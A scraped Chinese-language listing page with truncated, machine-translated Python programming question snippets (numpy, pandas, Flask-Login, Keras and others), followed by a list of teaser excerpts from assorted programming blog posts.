  • numpy 使用 datetime64 进行数字化

    我似乎无法让 numpy digitize 与 datetime64 一起使用 date bins np array np datetime64 datetime datetime 2014 n 1 s for n in range 1 1
  • 登录网站并使用 python 请求下载文件

    我有一个带有 HTML 表单的网站 登录后 它会将我带到 start php 站点 然后将我重定向到overview php 我想从该服务器下载文件 当我单击 ZIP 文件的下载链接时 链接后面的地址是 getimage php path
  • Python Pandas 根据另一列的总计从另一个数据帧中选择值

    我下面有一个 DataFrame 但我需要根据取消和订单列从每个代码中选择行 假设代码 xxx 的阶数为 6 1 5 1 阶数为 11 我需要一种算法 可以选择满足总共 11 行的行 阶数为 6 5 如果没有行匹配 则选择最接近的 id 并
  • PySide6.1 与 matplotlib 3.4 不兼容

    当我只安装PySide6时 GUI程序运行良好 但是一旦我安装了matplotlib及其依赖包 包括pyqt5 则GUI程序将无法运行并输出以下错误消息 This application failed to start because no
  • `list()` 被认为是一个函数吗?

    list显然是内置类型 https docs python org 3 library stdtypes html list在Python中 我看到底下有一条评论this https stackoverflow com a 53645813
  • Python 惰性迭代器

    我试图了解迭代器表达式如何以及何时被求值 以下似乎是一个懒惰的表达 g i for i in range 1000 if i 3 i 2 然而 这个在构造上失败了 g line strip for line in open xxx r if
  • Python 类型安全吗?

    根据维基百科 https en wikipedia org wiki Type system Type safety and memory safety 如果一种语言不允许违反类型系统规则的操作或转换 计算机科学家就认为该语言是 类型安全的
  • 如何将回溯/sys.exc_info() 值保存在变量中?

    我想将错误名称和回溯详细信息保存到变量中 这是我的尝试 import sys try try print x except Exception ex raise NameError except Exception er print 0 s
  • 如何使用 Keras ImageDataGenerator 预测单个图像?

    我已经训练 CNN 对图像进行 3 类分类 在训练模型时 我使用 keras 的 ImageDataGenerator 类对图像应用预处理功能并重新缩放它 现在我的网络在测试集上训练得非常准确 但我不知道如何在单图像预测上应用预处理功能 如
  • 是否可以将 pd.Series 分配给无序 pd.DataFrame 中的列而不映射到索引(即不重新排序值)?

    在 Pandas 中创建或分配新列时 我发现了一些意外的行为 当我对 pd DataFrame 进行过滤或排序 从而混合索引 然后从 pd Series 创建新列时 Pandas 会重新排序该系列以映射到 DataFrame 索引 例如 d
  • 在 virtualenvwrapper 中激活环境

    我安装了virtualenv and virtualenvwrapper用这个命令我创建了一个环境 mkvirtualenv cv 它有效 创建后我就处于新环境中 现在我重新启动了我的电脑 我想activate又是那个环境 但是怎么样 我使
  • Python:高精度time.sleep

    你能告诉我如何在 Win32 和 Linux 上的 Python 2 6 中获得高精度睡眠函数吗 您可以在中使用浮点数sleep http docs python org library time html time sleep 该参数可以
  • 如何获取所有mysql元组结果并转换为json

    我能够从表中获取单个数据 但是当我试图获取表上的所有数据时 我只得到一行 cnn execute sql rows cnn fetchall column t 0 for t in cnn description for row in ro
  • 长/宽数据到宽/长

    我有一个数据框 如下所示 import pandas as pd d decil 1 decil 1 decil 2 decil 2 decil 3 decil 3 decil kommune AA BB AA BB AA BB 2010
  • 缓存 Flask-登录 user_loader

    我有这个 login manager user loader def load user id None return User query get id 在我引入 Flask Principal 之前它运行得很好 identity loa

随机推荐

  • java入门二:java流程控制

    1 用户交互Scanner java util Scanner是Java5的新特性 可以通过Scanner类来获取用户的输入 基本语法 Scanner s new Scanner System in 通过Scanner类的next 与nex
  • 软件项目管理知识回顾---网络图

    网络图 9 网络图 9 1简介 1 分类 AOA 双代号 ADM AON PDM 单代号 前导图 2 活动的逻辑管理 头到头 尾 尾到头 尾 依赖关系 3 工序 紧前 紧后 9 2绘制规则 1 两个节点只能一条线 不能是平行线 平行的话就不
  • 开源网络引擎firefly:环境搭建

    原文来自 http blog csdn net losophy article details 17000769 我自己配置的时候修改了几处 一 安装Python windows下安装Python 1 下载对应系统的python版本 现在多
  • 基于三维激光点云的树木建模(枝叶分离)

    基于三维激光点云的树木建模 2019 05 30 三维激光点云数据采集 2019 06 15 点云的枝叶分离 树枝 树干提取 枝干骨架提取 枝干骨架优化 构建三维模型 测试软件 链接 https pan baidu com s 1LhxOg
  • Java的自动装箱与拆箱详细分析

    Java的自动装箱与拆箱详细分析 1 既然说是装箱与拆箱 那么到底是装的什么 拆的什么 装箱 将基本数据类型封装起来 用他对应的引用类 包装类 来处理 拆箱 就是把引用类里面的基本数据拆出来 2 说到了基础数据类型 Java中的基础数据类型
  • Prometheus怎么监控docker容器 给我个详细的教程

    Prometheus可以通过Docker容器服务检测来监控Docker容器 具体步骤如下 1 安装Prometheus和Node Exporter 并将它们部署到Docker容器中 2 在Prometheus配置文件中添加Node Expo
  • 集合(四):Map接口

    文章目录 1 Map的实现类的结构 2 HashMap的底层实现原理 以JDK7为说明 3 LinkedHashMap的底层实现原理 4 Map接口 常用方法 5 TreeMap 6 Properties 1 Map的实现类的结构 Map
  • Ubuntu中文件系统根目录上的磁盘空间不足的详细解决方案

    目录 Ubuntu中文件系统根目录上的磁盘空间不足的详细解决方案 一 问题提出 二 解决问题 2 1 安装gparted管理器 2 2 打开 2 3 右键点击分区 选择调整大小 移动 一 问题提出 在使用Ubuntu时 可能会出现下图中的提
  • Protobuf初次使用小记

    本来是正在研究学习netty 教程中出现了protobuf 索性仔细研究了一番 厚积薄发 说不定哪一天就突然要用到 protobuf是一种类似于json和xml的数据传输格式 优势在于高效的序列化和反序列化 关于这个 我没有去测试 只是把整
  • AT&T汇编指令介绍

    linux中使用的AT T格式的汇编指令 所以总结一下一些比较重要的指令 1 寻址模式 有多种不同的寻址模式 允许不同形式的存储器引用 我们用符号Ea表示任意寄存器 R Ea 表示它的值 M addr 表示addr处地址的值 题目 答案 0
  • 专业级技巧:利用Vue3 provide / inject机制更轻松地完成祖先和后代组件之间的通信管理

    部分数据来源 ChatGPT 简介 在 Vue 中 使用 props 和 emit 等方式可以实现祖先和后代组件之间的通信 但是当组件层级较多时 这种方式会比较繁琐和复杂 为了解决这个问题 Vue3 提供了新的 provide inject
  • 【LeetCode第2场双周赛】

    第 2 场双周赛 A 模拟 class Solution public int sumOfDigits vector
  • 【LeetCode刷题】303 区域和检索 -数组不可变 java

    题目 给定一个整数数组 nums 处理以下类型的多个查询 计算索引 left 和 right 包含 left 和 right 之间的 nums 元素的 和 其中 left lt right 实现 NumArray 类 NumArray in
  • python3 [爬虫入门实战] 查看网站有多少个网页(站点)

    前提 进行爬虫的时候需要进行站点的爬取 再选用合适的爬虫框架 所以这里不得不需要知道一下一个网站到底有多少个网页组成 一个域名网站中到底有多少个站点 查看的方法很简单 直接百度就可以了 例如需要知道豆丁网的站点有多少个 直接在百度中输入 s
  • C# 关闭进程

    using System Diagnostics string fileName example txt Process processes Process GetProcessesByName processName foreach Pr
  • (Qt)day4

    widget h ifndef WIDGET H define WIDGET H include
  • ElasticSearch简介

    文章目录 ElasticSearch简介 正向索引和倒排索引 正向索引 倒排索引 ElasticSearch和MySQL的区别 ElasticSearch简介 什么是ElasticSearch ElasticSearch 是一款非常强大的开
  • stlink仿真器报错及处理过程记录

    项目使用stlink连接stm32f101系列的芯片 因为没有仔细阅读相关资料 出一些莫名的错 搞了大半天 前言 使用正版的stlink系列仿真器 身在山寨之国 貌似不用盗版不太合适 这里的盗版指的是别人生产来卖钱的 自己根据电路图做的不算
  • 知识的融入-增强深度学习的学习 Shades of Knowledge- Infused Learning for Enhancing Deep Learning

    知识的融入 增强深度学习的学习 摘要 SHALLOW INFUSION OF KNOWLEDGE 知识的浅层注入 Word embeddings Enriched word embeddings Deep neural language m
  • ctfshow 菜狗杯wp

    果然菜狗杯是教育我们是菜狗的 我是从第二天开始做的 这里只做了一个上午 因为下午网没了 做不了 做出来的有点少 社工也做出来挺多但是感觉社工的wp感觉就没有啥必要写了 目录 misc 签到题 损坏的压缩包 web web签到 web2 c0